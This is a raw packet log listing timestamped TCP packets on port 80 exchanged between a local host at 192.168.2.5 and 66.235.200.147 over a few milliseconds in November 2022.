Nov 27, 2022 04:36:43.070374012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070393085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070400000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070422888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070430994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070446014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070447922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070461035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070470095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070486069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070494890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070513010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070519924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070545912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070558071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070571899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070574045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070600033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070600986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070625067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070631981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070650101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070662975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070673943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070677042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070688963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070699930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070715904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070727110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070740938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070751905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070776939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070777893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070801973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070822001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070827961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070837021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070854902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070858955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070889950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070890903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070915937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070923090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070940018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070952892 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070965052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.070970058 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.070988894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071000099 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071013927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071038961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071038961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071058035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071063042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071085930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071089029 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071110010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071116924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071134090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071134090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071156979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071162939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071170092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071187973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071212053 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071213961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071238041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071240902 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071254969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071261883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071285963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071288109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071311951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071320057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071336985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071346998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071360111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071361065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071387053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071393013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071412086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071414948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071425915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071434975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071453094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071460009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071477890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071484089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071505070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071506977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071520090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071531057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071549892 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071553946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071573019 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071578026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071595907 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071600914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071624994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071646929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071670055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071691990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071693897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071708918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071718931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071742058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071751118 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071767092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071774006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071791887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071801901 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071815968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071829081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071840048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071842909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071863890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071867943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071883917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071888924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071902037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071913958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071928024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071938038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071952105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.071964025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071985960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.071989059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072009087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072016954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072031975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072032928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072052956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072057962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072077036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072081089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072091103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072105885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072128057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072134018 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072150946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072159052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072175026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072180033 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072196007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072197914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072211027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072221994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072237968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072246075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072262049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072268963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072285891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072292089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072307110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072315931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072339058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072344065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072361946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072371960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072387934 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072387934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072403908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072413921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072436094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072437048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072451115 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072460890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072475910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072484970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072499990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072509050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072523117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072531939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072546005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072556019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072571039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072578907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072592974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072603941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072618961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072628021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072644949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072652102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072674990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072680950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072696924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072699070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072715998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072726965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072750092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072753906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072778940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072782040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072802067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072803020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072817087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072828054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072844982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072866917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072870970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072891951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072913885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072922945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072936058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072941065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072959900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.072962999 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072978020 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.072983980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073004007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073009968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073021889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073035002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073051929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073057890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073076010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073086023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073097944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073111057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073126078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073133945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073151112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073157072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073175907 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073183060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073194981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073206902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073224068 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073230028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073249102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073255062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073272943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073278904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073297977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073303938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073313951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073329926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073342085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073354006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073369980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073378086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073391914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073401928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073417902 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073425055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073440075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073450089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073463917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073473930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073488951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073497057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073513031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073520899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073537111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073544979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073559999 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073568106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073582888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073591948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073606014 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073616982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073630095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073642015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073657036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073666096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073682070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073688984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073704004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073713064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073728085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073735952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073751926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073760033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073774099 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073784113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073797941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073807001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073824883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073832035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073847055 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073857069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073868990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073880911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073894978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073904991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073920012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073928118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073945045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073951960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073964119 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073977947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.073992014 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.073999882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074016094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074024916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074038029 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074048996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074064970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074071884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074086905 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074095011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074111938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074146032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074161053 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074168921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074183941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074193001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074206114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074218035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074232101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074240923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074259996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074265957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074289083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074295998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074311972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074312925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074326038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074337006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074352026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074359894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074374914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074383974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074398994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074407101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074423075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074430943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074445009 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074456930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074470997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074481010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074495077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074503899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074518919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074527025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074542046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074563026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074577093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074583054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074601889 CET	80	49705	66.235.200.147	192.168.2.5
